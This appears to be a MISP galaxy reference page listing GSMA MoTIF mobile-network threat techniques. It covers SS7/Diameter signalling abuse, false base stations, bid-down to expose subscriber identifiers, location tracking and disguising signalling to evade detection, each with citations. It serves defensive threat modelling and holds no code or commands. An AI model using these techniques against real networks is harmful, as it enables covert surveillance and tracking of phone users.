(1) Motherboard. (2018). Here's How Easy It Is to Make Your Own IMSI-Catcher (2) Lighthouse Reports. (2022). Revealing Europe's NSO.[(1) Motherboard. (2018). Here's How Easy It Is to Make Your Own IMSI-Catcher (2) Lighthouse Reports. (2022). Revealing Europe's NSO.]
ATT&CK Enterprise: Develop Capabilities (T1587).[ATT&CK Enterprise: Develop Capabilities (T1587).]

Mobile Network Tool

Adversary develops special tools for mobile networks that carry out and deliver mobile network targeted exploits. (1) (2)

The tag is: *misp-galaxy:gsma-motif="Mobile Network Tool"*

Table 1659. Table References

Links
page 24 of page 24 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf

(1) Motherboard. (2018). Here’s How Easy It Is to Make Your Own IMSI-Catcher (2) Lighthouse Reports. (2022). Revealing Europe’s NSO. (3) Mobileum. (2023) OAuth2.0 Security and Protocol Exploit Analysis in 5G Ecosystem[(1) Motherboard. (2018). Here’s How Easy It Is to Make Your Own IMSI-Catcher (2) Lighthouse Reports. (2022). Revealing Europe’s NSO. (3) Mobileum. (2023) OAuth2.0 Security and Protocol Exploit Analysis in 5G Ecosystem]
N/A[N/A]

Exploit Interconnection Link

The adversary may get access to the target network via the interconnection interface.

The tag is: *misp-galaxy:gsma-motif="Exploit Interconnection Link"*

Table 1660. Table References

Links
page 24 of page 24 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) P1 Security. (2021). All authentication vectors are not made equal.[(1) P1 Security. (2021). All authentication vectors are not made equal.]

International Direct Signalling Link

The adversary may get access to the target network via a direct signalling link connected to the international exchange.

The tag is: *misp-galaxy:gsma-motif="International Direct Signalling Link"*

Table 1661. Table References

Links
page 25 of page 25 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) Enea. (2022). HiddenArt - A Russian-linked SS7 Threat Actor (2) P1 Security. (2021). All authentication vectors are not made equal.[(1) Enea. (2022). HiddenArt - A Russian-linked SS7 Threat Actor (2) P1 Security. (2021). All authentication vectors are not made equal.]

National Direct Signalling Link

The adversary may get access to the target network via a direct signalling link connected to the national exchange.

The tag is: *misp-galaxy:gsma-motif="National Direct Signalling Link"*

Table 1662. Table References

Links

page 25 of page 25 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) P1 Security. (2014). SS7map: mapping vulnerability of the international mobile roaming infrastructure[(1) P1 Security. (2014). SS7map: mapping vulnerability of the international mobile roaming infrastructure]

Exploit via Core Signalling Interface

The adversary may access the target network by exploiting signalling (i.e. control plane) protocols.

The tag is: *misp-galaxy:gsma-motif="Exploit via Core Signalling Interface"*

Table 1663. Table References

Links
page 26 of page 26 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) P1 Security. (2021). All authentication vectors are not made equal.[(1) P1 Security. (2021). All authentication vectors are not made equal.]

SS7 Protocol

The adversary may access the target network by using SS7 protocol.

The tag is: *misp-galaxy:gsma-motif="SS7 Protocol"*

Table 1664. Table References

Links
page 27 of page 27 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) The Washington Post. (2014). For sale: Systems that can secretly track where cellphone users go around the globe. (2) Lighthouse Reports. (2022). Revealing Europe’s NSO. (3) Mc Daid, C. (2020) Watching the Watchers - How Surveillance Companies track you using Mobile Networks. #rC3 2020.[(1) The Washington Post. (2014). For sale: Systems that can secretly track where cellphone users go around the globe. (2) Lighthouse Reports. (2022). Revealing Europe’s NSO. (3) Mc Daid, C. (2020) Watching the Watchers - How Surveillance Companies track you using Mobile Networks. #rC3 2020.]

Diameter Protocol

The adversary may access the target network by using Diameter protocol.

The tag is: *misp-galaxy:gsma-motif="Diameter Protocol"*

Table 1665. Table References

Links
page 27 of page 27 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) P1 Security. (2021). All authentication vectors are not made equal. (2) Mc Daid, C. (2020) Watching the Watchers - How Surveillance Companies track you using Mobile Networks. #rC3 2020.[(1) P1 Security. (2021). All authentication vectors are not made equal. (2) Mc Daid, C. (2020) Watching the Watchers - How Surveillance Companies track you using Mobile Networks. #rC3 2020.]

HTTPS/2 Protocol

The adversary may access the target network by using HTTPS/2 protocol.

The tag is: *misp-galaxy:gsma-motif="HTTPS/2 Protocol"*

Table 1666. Table References

Links
page 28 of page 28 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) Mc Daid, C. (2020) Watching the Watchers - How Surveillance Companies track you using Mobile Networks. #rC3 2020..[(1) Mc Daid, C. (2020) Watching the Watchers - How Surveillance Companies track you using Mobile Networks. #rC3 2020..]

Trusted Relationship

Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third-party relationship exploits an existing connection that may not be protected or requires more complicated defence mechanisms to detect and prevent unauthorized access to a network. (1) (2)

The tag is: *misp-galaxy:gsma-motif="Trusted Relationship"*

Table 1667. Table References

Links
page 28 of page 28 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) The Washington Post. (2014). For sale: Systems that can secretly track where cellphone users go around the globe. (2) Lighthouse Reports. (2022). Revealing Europe’s NSO[(1) The Washington Post. (2014). For sale: Systems that can secretly track where cellphone users go around the globe. (2) Lighthouse Reports. (2022). Revealing Europe’s NSO]
ATT&CK Enterprise: Trusted Relationship (T1199)[ATT&CK Enterprise: Trusted Relationship (T1199)]

Exploit Interconnection Agreements

The technique can be conducted by malicious partner or adversaries with access to interconnection networks or roaming partner's mobile network. The adversary can remotely conduct the attacks by launching signalling messages e.g. related to location tracking, communication interception, or subscriber identify retrieval. (1), (2), (3)

The tag is: *misp-galaxy:gsma-motif="Exploit Interconnection Agreements"*

Table 1668. Table References

Links
page 29 of page 29 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) P1 Security (2021). All authentication vectors are not made equal. (2) The Washington Post. (2014). For sale: Systems that can secretly track where cellphone users go around the globe. (3) Lighthouse Reports. (2022). Revealing Europe's NSO (4) Enea. (2022). HiddenArt - A Russian-linked SS7 Threat Actor[(1) P1 Security (2021). All authentication vectors are not made equal. (2) The Washington Post. (2014). For sale: Systems that can secretly track where cellphone users go around the globe. (3) Lighthouse Reports. (2022). Revealing Europe's NSO (4) Enea. (2022). HiddenArt - A Russian-linked SS7 Threat Actor]

Exploit via Radio Interface

Adversaries may use the radio access network to initiate attacks towards the UE or the mobile network.(1) (2) (3) The adversary may leverage vulnerabilities in the protocols that make up the signalling procedures in a radio network, for example network information (SIB1) messages, or the RRC protocol, or NAS protocols to initiate attacks towards the UE or the mobile network.

The tag is: *misp-galaxy:gsma-motif="Exploit via Radio Interface"*

Table 1669. Table References

Links
page 30 of page 30 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) Borgaonkar, R. & Shaik, A. (2015). LTE and IMSI Catcher Myths. Black Hat USA 2015 (2) Electronic Frontier Foundation. (2019). Gotta Catch 'Em All: Understanding How IMSI-Catchers Exploit Cell Networks. (3) Quintin, C. (2020). Detecting Fake 4G Base Stations in Real Time. Black Hat USA 2020.[(1) Borgaonkar, R. & Shaik, A. (2015). LTE and IMSI Catcher Myths. Black Hat USA 2015 (2) Electronic Frontier Foundation. (2019). Gotta Catch 'Em All: Understanding How IMSI-Catchers Exploit Cell Networks. (3) Quintin, C. (2020). Detecting Fake 4G Base Stations in Real Time. Black Hat USA 2020.]
ATT&CK Mobile: Exploit via Radio Interfaces (T1477). Note: Deprecated[ATT&CK Mobile: Exploit via Radio Interfaces (T1477). Note: Deprecated]

AS Signalling

Adversaries may modify or trigger control plane procedures on the radio interface control plane using Access Stratum (AS) signalling that occurs between the UE and the base station.

The tag is: *misp-galaxy:gsma-motif="AS Signalling"*

Table 1670. Table References

Links
page 31 of page 31 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) Electronic Frontier Foundation. (2019). Gotta Catch 'Em All: Understanding How IMSI-Catchers Exploit Cell Networks[(1) Electronic Frontier Foundation. (2019). Gotta Catch 'Em All: Understanding How IMSI-Catchers Exploit Cell Networks]

NAS Signalling

Adversaries may modify or trigger Non-Access-Stratum (NAS) signalling related procedures that is generated from a false base station infrastructure. The adversary may impersonate core network elements (such as MME) towards the UE or UE towards the core network elements.

The tag is: *misp-galaxy:gsma-motif="NAS Signalling"*

Table 1671. Table References

Links
page 32 of page 32 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) CableLabs: (2019). False Base Station or IMSI Catcher: What You Need to Know. (2) Electronic Frontier Foundation. (2019). Gotta Catch 'Em All: Understanding How IMSI-Catchers Exploit Cell Networks[(1) CableLabs: (2019). False Base Station or IMSI Catcher: What You Need to Know. (2) Electronic Frontier Foundation. (2019). Gotta Catch 'Em All: Understanding How IMSI-Catchers Exploit Cell Networks]

Radio Broadcast Channel (SIB1)

The adversary leverages the radio broadcast System Information Block1 messages (SIB1) to advertise to the target UEs new cell configuration that in return forces the UE to initiate different procedures like for example, cell re- selection or Tracking Area Update.(1), (2), (3)

The tag is: *misp-galaxy:gsma-motif="Radio Broadcast Channel (SIB1)"*

Table 1672. Table References

Links

page 32 of page 32 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) Aftenposten (2015). New report: Clear signs of mobile surveillance in Oslo, despite denial from Police Security Service. (2) CableLabs: (2019). False Base Station or IMSI Catcher: What You Need to Know. (3) Quintin, C. (2020). Detecting Fake 4G Base Stations in Real Time. Black Hat USA 2020.[(1) Aftenposten (2015). New report: Clear signs of mobile surveillance in Oslo, despite denial from Police Security Service. (2) CableLabs: (2019). False Base Station or IMSI Catcher: What You Need to Know. (3) Quintin, C. (2020). Detecting Fake 4G Base Stations in Real Time. Black Hat USA 2020.]

Identify Subscriber

An adversary may obtain a subscriber permanent or temporary identifier via various means. An adversary may obtain the subscriber identifier by using HLR Lookup, or by monitoring the radio interface. An adversary may obtain identifying information from 5G UEs only after the UE has been bid down (downgraded) to a lower security protocol e.g. 4G, since in 4G and 3G it is possible for the network to ask the UE to send its IMSI (International Subscriber Identifier) in the clear over the radio interface. The 5G UE sends an encrypted permanent identifier (called Subscriber Concealed Identifier (SUCI)) over the radio interface as part of the initial registration to the 5G network. Some non-UE specific information is part of the Subscriber Permanent Identifier or SUPI and is not encrypted (e.g., home network name).

The tag is: *misp-galaxy:gsma-motif="Identify Subscriber"*

Table 1673. Table References

Links
page 33 of page 33 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) Enea. (2016). Tracking the Trackers: Advanced Rogue Systems Exploiting the SS7 Network[(1) Enea. (2016). Tracking the Trackers: Advanced Rogue Systems Exploiting the SS7 Network]
Subscriber Profile Identifier Discovery: Intercept bid-down SUPI
MITRE FiGHT™ *= This is the same Technique as MITRE FiGHT, however a different name is used, MITRE FiGHT may potentially update in the future[Subscriber Profile Identifier Discovery: Intercept bid-down SUPI
MITRE FiGHT™ *= This is the same Technique as MITRE FiGHT, however a different name is used, MITRE FiGHT may potentially update in the future]

Trigger Subscriber Terminated Activity

The adversary can trigger mobile terminating activity, such as making calls to the subscriber's profile (1), sending silent SMS (2), or trigger notifications from the instant messengers (1), to trigger paging of the subscriber. The technique can be made more stealthy by using silent phone calls or silent SMSs (2) (3), The adversary can monitor the paging activity in the radio network and use that information to correlate the paging with the for identifying the target subscriber identifier.

The tag is: *misp-galaxy:gsma-motif="Trigger Subscriber Terminated Activity"*

Table 1674. Table References

Links
page 34 of page 34 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) Shaik, A. et al. (2016). Practical Attacks Against Privacy and Availability in 4G/LTE Mobile Communication Systems. (2) Nohl, K. & Munaut, S. (2010) GSM Sniffing. 27th CCC. (3) Hussain, S. et al. (2019) Privacy Attacks to the 4G and 5G Cellular Paging Protocols Using Side Channel Information.[(1) Shaik, A. et al. (2016). Practical Attacks Against Privacy and Availability in 4G/LTE Mobile Communication Systems. (2) Nohl, K. & Munaut, S. (2010) GSM Sniffing. 27th CCC. (3) Hussain, S. et al. (2019) Privacy Attacks to the 4G and 5G Cellular Paging Protocols Using Side Channel Information.]
N/A[N/A]

Retrieve Subscriber Identity Information

The adversary can retrieve subscriber information such as the IMSI, MSISDN, SUPI, SUCI etc

The tag is: *misp-galaxy:gsma-motif="Retrieve Subscriber Identity Information"*

Table 1675. Table References

Links
page 35 of page 35 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) Enea. (2016). Tracking the Trackers: Advanced Rogue Systems Exploiting the SS7 Network[(1) Enea. (2016). Tracking the Trackers: Advanced Rogue Systems Exploiting the SS7 Network]
N/A[N/A]

Retrieve Subscriber Network Information

The adversary can retrieve subscriber network information such as the current serving network element(s)

The tag is: *misp-galaxy:gsma-motif="Retrieve Subscriber Network Information"*

Table 1676. Table References

Links
page 35 of page 35 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) Enea. (2016). Tracking the Trackers: Advanced Rogue Systems Exploiting the SS7 Network[(1) Enea. (2016). Tracking the Trackers: Advanced Rogue Systems Exploiting the SS7 Network]
N/A[N/A]

Masquerading

Adversaries may attempt to manipulate parameters in the control signalling to make them appear legitimate or benign to mobile subscribers, end nodes and/or security tools. Masquerading occurs when the parameter value is manipulated or abused for the sake of evading defences, or convincing the target to believe it is communicating with a spoofed entity. A typical masquerading operating is manipulation of the source node address.

The tag is: *misp-galaxy:gsma-motif="Masquerading"*

Table 1677. Table References

Links
page 36 of page 36 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) P1 Security. (2021). All authentication vectors are not made equal. (2) Aftenposten (2015). New report: Clear signs of mobile surveillance in Oslo, despite denial from Police Security Service.[(1) P1 Security. (2021). All authentication vectors are not made equal. (2) Aftenposten (2015). New report: Clear signs of mobile surveillance in Oslo, despite denial from Police Security Service.]
ATT&CK Enterprise: Masquerading (T1036),[ATT&CK Enterprise: Masquerading (T1036),]

Originating Entity Spoofing

The adversary may attempt to manipulate the originating address information, such as Global Title Address, Diameter Host or Realm information for the sake of evading defences. The adversary may attempt to manipulate the configured cell ID on the false base station to configure it to a known cell ID in the network to evade detection.

The tag is: *misp-galaxy:gsma-motif="Originating Entity Spoofing"*

Table 1678. Table References

Links
page 37 of page 37 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) P1 Security. (2021). All authentication vectors are not made equal. (2) Aftenposten (2015). New report: Clear signs of mobile surveillance in Oslo, despite denial from Police Security Service. (3) Enea. (2022). HiddenArt - A Russian-linked SS7 Threat Actor[(1) P1 Security. (2021). All authentication vectors are not made equal. (2) Aftenposten (2015). New report: Clear signs of mobile surveillance in Oslo, despite denial from Police Security Service. (3) Enea. (2022). HiddenArt - A Russian-linked SS7 Threat Actor]

Disguise Signalling Messages

The adversary can disguise its signalling messages in order to avoid detection and blocking of their attacks. Examples include using unexpected addresses, unexpected message format or unexpected message encoding.

The tag is: *misp-galaxy:gsma-motif="Disguise Signalling Messages"*

Table 1679. Table References

Links
page 37 of page 37 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) Symsoft & P1 Security. (2018). SS7 and Diameter: Exploit Delivery over signalling protocols. (2) Mc Daid, C. (2019). Simjacker – the next frontier in mobile espionage. VB2019[(1) Symsoft & P1 Security. (2018). SS7 and Diameter: Exploit Delivery over signalling protocols. (2) Mc Daid, C. (2019). Simjacker – the next frontier in mobile espionage. VB2019]

Unexpected Encoding

The adversary may use an unexpected encoding of the signalling message in order to bypass detection and any defences which may be in place.

The tag is: *misp-galaxy:gsma-motif="Unexpected Encoding"*

Table 1680. Table References

Links
page 38 of page 38 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) Puzankov, K. (2019) Hidden Agendas: bypassing GSMA recommendations on SS7 networks. HITB AMS SecConf May 2019[(1) Puzankov, K. (2019) Hidden Agendas: bypassing GSMA recommendations on SS7 networks. HITB AMS SecConf May 2019]

Access Subscriber Data

The adversary can collect several types of user-specific data. Such data include, for instance, subscriber identities, subscribed services, subscriber location or status.

The tag is: *misp-galaxy:gsma-motif="Access Subscriber Data"*

Table 1681. Table References

Links
page 38 of page 38 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) P1 Security. (2021). All authentication vectors are not made equal. (2) Mc Daid, C. (2019). Simjacker – the next frontier in mobile espionage. VB2019[(1) P1 Security. (2021). All authentication vectors are not made equal. (2) Mc Daid, C. (2019). Simjacker – the next frontier in mobile espionage. VB2019]

Subscriber Authentication Data

The adversary may acquire subscriber authentication information from mobile network registers, such as HLR/HSS/AuC or MSC/VLR, SGSN, MME. For example, the adversary may query subscriber keys, authentication vectors etc. and use this information to tailor further phases of the attack.

The tag is: *misp-galaxy:gsma-motif="Subscriber Authentication Data"*

Table 1682. Table References

Links
page 39 of page 39 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) P1 Security. (2021). All authentication vectors are not made equal.[(1) P1 Security. (2021). All authentication vectors are not made equal.]

Network Sniffing

Adversaries may sniff network traffic to capture information about an environment, including authentication material, base station configuration and user plane traffic passed over the network.

The tag is: *misp-galaxy:gsma-motif="Network Sniffing"*

Table 1683. Table References

Links
page 40 of page 40 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) Kotuliak, M. et al. (2022) LTrack : Stealthy Tracking of Mobile Phones in LTE[(1) Kotuliak, M. et al. (2022) LTrack : Stealthy Tracking of Mobile Phones in LTE]
Network Sniffing, Technique T1040 - Enterprise
MITRE ATT&CK® Network Sniffing
MITRE FiGHT™ (FGT1040)[Network Sniffing, Technique T1040 - Enterprise
MITRE ATT&CK® Network Sniffing
MITRE FiGHT™ (FGT1040)]

Radio Interface

An adversary may eavesdrop on unencrypted or encrypted traffic to capture information to and from a UE. An adversary may employ a back-to-back false base station to eavesdrop on the communication and relay communication between the intended recipient and the intended source, over the radio interface. The adversary may also passively sniff the radio traffic and capture specific traffic that can be then, if possible, analyzed.(1) When operating a false base station the adversary needs to obtain information about the cell configuration parameters that will be used to prepare for the next phase of an attack that is utilizing the radio interface. Example of

configuration could be the Physical Cell ID (PCI), neighbouring cells, frequencies used, Location Area Codes/Tracking Area Codes (LAC/TAC).(2) The adversary may use methods of capturing control plane or user plane traffic on the radio interface.

The tag is: *misp-galaxy:gsma-motif="Radio Interface"*

Table 1684. Table References

Links
page 41 of page 41 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) Borgaonkar, R. & Shaik, A. (2015). LTE and IMSI Catcher Myths. Black Hat USA 2015 (2) Li, Z. et al. (2017). FBS-Radar: Uncovering Fake Base Stations at Scale in the Wild. (3) P1 Security. (2021). All authentication vectors are not made equal.[(1) Borgaonkar, R. & Shaik, A. (2015). LTE and IMSI Catcher Myths. Black Hat USA 2015 (2) Li, Z. et al. (2017). FBS-Radar: Uncovering Fake Base Stations at Scale in the Wild. (3) P1 Security. (2021). All authentication vectors are not made equal.]
Network Sniffing: Radio interface
MITRE FiGHT™ (FGT1040.501)[Network Sniffing: Radio interface
MITRE FiGHT™ (FGT1040.501)]

Locate Subscriber

An adversary may obtain the UE location using radio access or core network. Adversary may employ various means to obtain UE location (coarse, fine) using radio access or core network.

The tag is: *misp-galaxy:gsma-motif="Locate Subscriber"*

Table 1685. Table References

Links
page 41 of page 41 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) Enea. (2022). HiddenArt - A Russian-linked SS7 Threat Actor (2) Mc Daid, C. (2019). Simjacker – the next frontier in mobile espionage. VB2019 (3) The Washington Post. (2014). For sale: Systems that can secretly track where cellphone users go around the globe[(1) Enea. (2022). HiddenArt - A Russian-linked SS7 Threat Actor (2) Mc Daid, C. (2019). Simjacker – the next frontier in mobile espionage. VB2019 (3) The Washington Post. (2014). For sale: Systems that can secretly track where cellphone users go around the globe]
Location Tracking, Technique T1430 - Mobile
MITRE ATT&CK® Locate UE
MITRE FiGHT™ (FGT5012)[Location Tracking, Technique T1430 - Mobile
MITRE ATT&CK® Locate UE
MITRE FiGHT™ (FGT5012)]

Core Network Function Signalling

An adversary in the core network exploits signalling protocols to obtain the location of the UE. User location tracking is part of normal cellular operation. Adversaries with access to core network or a core network function (NF) can misuse signalling protocols (e.g., SS7, GTP and Diameter or the SBI API calls), or exploit vulnerabilities in the signalling plane, in order to obtain location information for a given UE.

The tag is: *misp-galaxy:gsma-motif="Core Network Function Signalling"*

Table 1686. Table References

Links
page 42 of page 42 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) Enea. (2022). HiddenArt - A Russian-linked SS7 Threat Actor. (2) Mc Daid, C. (2020) Watching the Watchers - How Surveillance Companies track you using Mobile Networks. #rC3 2020..[(1) Enea. (2022). HiddenArt - A Russian-linked SS7 Threat Actor. (2) Mc Daid, C. (2020) Watching the Watchers - How Surveillance Companies track you using Mobile Networks. #rC3 2020..]
Locate UE: Core Network Function Signaling
MITRE FiGHT™ (FGT5012.004)[Locate UE: Core Network Function Signaling
MITRE FiGHT™ (FGT5012.004)]

Search Open Websites/Domains

Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(1)(2)(3) Adversaries may gather subscription or residence related information about subscriber(s). Examples are phone number (MSISDN), home address, home mobile network operator. Adversaries may gather information about the mobile network operator to be used in initial access or for preparation of the attack. This can be network architecture, protocols, ports, Global Titles, roaming partners, or suppliers (4).

The tag is: *misp-galaxy:gsma-motif="Search Open Websites/Domains"*

Table 1687. Table References

Links
page 43 of page 43 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf

(1) Cyware Hacker News. (2019). How Hackers Exploit Social Media To Break Into Your Company. (2) Security Trails. (2019). Exploring Google Hacking Techniques. (3) Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020. (4) Holtmanns, S. (2018). Secure Interworking Between Networks in 5G Service Based Architecture. ETSI Security Week 2018.[(1) Cyware Hacker News. (2019). How Hackers Exploit Social Media To Break Into Your Company. (2) Security Trails. (2019). Exploring Google Hacking Techniques. (3) Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020. (4) Holtmanns, S. (2018). Secure Interworking Between Networks in 5G Service Based Architecture. ETSI Security Week 2018.]
Search Open Websites/Domains, Technique T1593 - Enterprise
MITRE ATT&CK® GSMA Non-public materials[Search Open Websites/Domains, Technique T1593 - Enterprise
MITRE ATT&CK® GSMA Non-public materials]

Social Media

Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim's into revealing specific information (i.e. Spearphishing Service)(1). Information from these sources may reveal opportunities for other forms of reconnaissance, establishing operational resources, and/or initial access. Social media sites may contain information about subscriber phone numbers, address etc, which can be used e.g. when installing false base stations in close vicinity of the victim. (2)

The tag is: *misp-galaxy:gsma-motif="Social Media"*

Table 1688. Table References

Links
page 44 of page 44 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) Cyware Hacker News. (2019). How Hackers Exploit Social Media To Break Into Your Company. (2) Equifax UK. (2022). The risks of sharing your location on social media.[(1) Cyware Hacker News. (2019). How Hackers Exploit Social Media To Break Into Your Company. (2) Equifax UK. (2022). The risks of sharing your location on social media.]
Search Open Websites/Domains: Social Media, Sub-technique T1593.001 - Enterprise
MITRE ATT&CK®[Search Open Websites/Domains: Social Media, Sub-technique T1593.001 - Enterprise
MITRE ATT&CK®]

Adversary-in-the-Middle

Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing (1) (2). Adversaries may leverage the AiTM position to attempt to monitor traffic.

The tag is: *misp-galaxy:gsma-motif="Adversary-in-the-Middle"*

Table 1689. Table References

Links
page 44 of page 44 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) Electronic Frontier Foundation. (2019). Gotta Catch 'Em All: Understanding How IMSI-Catchers Exploit Cell Networks (2) P1 Security. (2021). All authentication vectors are not made equal.[(1) Electronic Frontier Foundation. (2019). Gotta Catch 'Em All: Understanding How IMSI-Catchers Exploit Cell Networks (2) P1 Security. (2021). All authentication vectors are not made equal.]
Adversary-in-the-Middle, Technique T1557 - Enterprise
MITRE ATT&CK® Adversary-in-the-Middle
MITRE FiGHT™ (FGT1557)[Adversary-in-the-Middle, Technique T1557 - Enterprise
MITRE ATT&CK® Adversary-in-the-Middle
MITRE FiGHT™ (FGT1557)]

Radio Interface Authentication Relay

An adversary positions itself on the radio interface to capture information to and from the UE. Adversary can deploy a false base station as a back-to-back base station - UE combination to impersonate UE towards the real eNB or core network element (such as MME), and impersonate base station or core network element towards the target UE (1) (2).

The tag is: *misp-galaxy:gsma-motif="Radio Interface Authentication Relay"*

Table 1690. Table References

Links
page 45 of page 45 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) Electronic Frontier Foundation. (2019). Gotta Catch 'Em All: Understanding How IMSI-Catchers Exploit Cell Networks (2) P1 Security. (2021). All authentication vectors are not made equal. (1) Electronic Frontier Foundation. (2019). Gotta Catch 'Em All: Understanding How IMSI-Catchers Exploit Cell Networks (2) P1 Security. (2021). All authentication vectors are not made equal. https://labs.p1sec.com/2021/09/30/all-authentication-vectors-are-not-made-equal/
Adversary-in-the-Middle: Radio interface
MITRE FiGHT™[Adversary-in-the-Middle: Radio interface

MITRE FiGHT™]

Supply Chain Compromise

Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise can take place at any stage of the supply chain including: • Manipulation of development tools • Manipulation of a development environment • Manipulation of source code repositories (public or private) • Manipulation of source code in open-source dependencies • Manipulation of software update/distribution mechanisms • Compromised/infected system images (multiple cases of removable media infected at the factory)(1) (2) • Replacement of legitimate software with modified versions • Sales of modified/counterfeit products to legitimate distributors • Shipment interdiction While supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.

The tag is: *misp-galaxy:gsma-motif="Supply Chain Compromise"*

Table 1691. Table References

Links
page 46 of page 46 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) The Register. (2023). Millions of mobile phones come pre-infected with Malware (2) Schneider Electric. (2018). Security Notification – USB Removable Media Provided With Conext Combox and Conext Battery Monitor.[(1) The Register. (2023). Millions of mobile phones come pre-infected with Malware (2) Schneider Electric. (2018). Security Notification – USB Removable Media Provided With Conext Combox and Conext Battery Monitor.]
Supply Chain Compromise, Technique T1195 - Enterprise
MITRE ATT&CK®[Supply Chain Compromise, Technique T1195 - Enterprise
MITRE ATT&CK®]

Compromise Software Supply Chain

Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.

The tag is: *misp-galaxy:gsma-motif="Compromise Software Supply Chain"*

Table 1692. Table References

Links

page 47 of page 47 of https://www.gsma.com/solutions-and-impact/technologies/security/wp-content/uploads/2024/04/FS.57-MoTIF-Principles-v1.0.pdf
(1) The Register (2023). Millions of mobile phones come pre-infected with Malware[(1) The Register (2023). Millions of mobile phones come pre-infected with Malware]
Supply Chain Compromise: Compromise Software Supply Chain, Sub- technique T1195.002 - Enterprise
MITRE ATT&CK®[Supply Chain Compromise: Compromise Software Supply Chain, Sub- technique T1195.002 - Enterprise
MITRE ATT&CK®]

Network Function Service Discovery

An adversary may query the Network Repository Function (NRF) to discover restricted Network Function (NF) services to further target that NF.

The tag is: *misp-galaxy:gsma-motif="Network Function Service Discovery"*

Table 1693. Table References

Links
